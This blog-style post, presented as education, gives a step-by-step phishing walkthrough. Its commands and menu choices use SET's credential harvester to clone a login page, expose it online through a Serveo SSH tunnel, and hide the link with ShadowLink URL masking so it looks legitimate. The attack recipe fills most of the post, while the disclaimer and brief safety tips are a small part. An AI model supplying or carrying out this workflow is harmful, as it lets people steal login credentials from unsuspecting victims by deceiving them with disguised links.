How Phishing Attacks Actually Work: Real Demo Using SET Toolkit & ShadowLink For Education Only

Phishing is one of the most common attack vectors in cybercrime. In this post, we’ll walk through how phishing websites are created using:

• Kali Linux (Ethical hacking OS)

• SET Toolkit (Social Engineering Toolkit)

• Serveo (Port forwarding to expose local host online)

• ShadowLink (URL masking tool to make malicious links look legit)

You’ll see exactly how attackers can craft phishing pages, host them online, and disguise the links to look harmless — and you’ll learn how to detect and defend against it.

DISCLAIMER:
This guide is intended purely for educational and awareness purposes. The techniques shown are commonly used in cyber attacks, and this walkthrough is meant to help readers understand how phishing works so they can protect themselves.
Do not perform any of these techniques on real systems or without proper authorization. Cybersecurity education is about prevention — not exploitation.

Tools Used:

• 🔹 Kali Linux

• 🔹 SET Toolkit

• 🔹 Serveo.net (SSH-based tunneling)

• 🔹 ShadowLink (Cloak phishing URLs)

• 🔹 Custom phishing page demo (GitHub hosted)

Terminal Commands Used in This Demo:

# Step 1: Update Kali Linux
sudo apt update && sudo apt upgrade -y

# Step 2: Start SET Toolkit
sudo setoolkit

# Choose the following path:
# 1) Social Engineering Attacks
# 2) Website Attack Vectors
# 3) Credential Harvester Attack Method
# 2) Site Cloner

# IP address to listen on: 192.168.0.103
# Website to clone: https://petherl.github.io/hacker-login-page/

# Step 3: Port Forwarding with Serveo
ssh -R 80:localhost:80 serveo.net

# Step 4: Clone ShadowLink
cd ~/Desktop
git clone https://github.com/petherl/shadowlink.git
cd shadowlink

# Step 5: Create Python environment and install requirements
python3 -m venv venv
source venv/bin/activate
pip3 install -r requirements.txt

# Step 6: Launch ShadowLink
python3 shadowlink.py

Input example in ShadowLink:

• Original URL: https://********************.serveo.net/

• Domain disguise: *****.com

• Keyword: login

Example disguised phishing links (demo only):

https://*****.com-login@**** 
http://*****.com-login@****

Understanding How Phishing Works (Step-by-Step):

1. Clone the site using SET to replicate a legitimate-looking login form.

2. Serve it on localhost using the built-in Apache server in Kali.

3. Expose the local site to the internet via Serveo (port forwarding).

4. Use ShadowLink to mask the URL with a believable domain.

5. Trick users into clicking and entering credentials — which get logged.

How to Stay Safe from Phishing Attacks:

• ✅ Always check the URL — especially what comes before the domain.

• ✅ Don’t trust shortened or masked links unless you know the source.

• ✅ Use 2FA (Two-Factor Authentication) on all your accounts.

• ✅ Train yourself and others with regular security awareness practices.

• ✅ Use password managers to avoid manually typing credentials.

Resources & Downloads:

• Kali Linux: https://www.kali.org/get-kali

• SET Toolkit: https://github.com/trustedsec/social-engineer-toolkit

• Serveo: https://serveo.net

• ShadowLink: https://github.com/petherl/shadowlink

• Demo Phishing Site: https://petherl.github.io/hacker-login-page/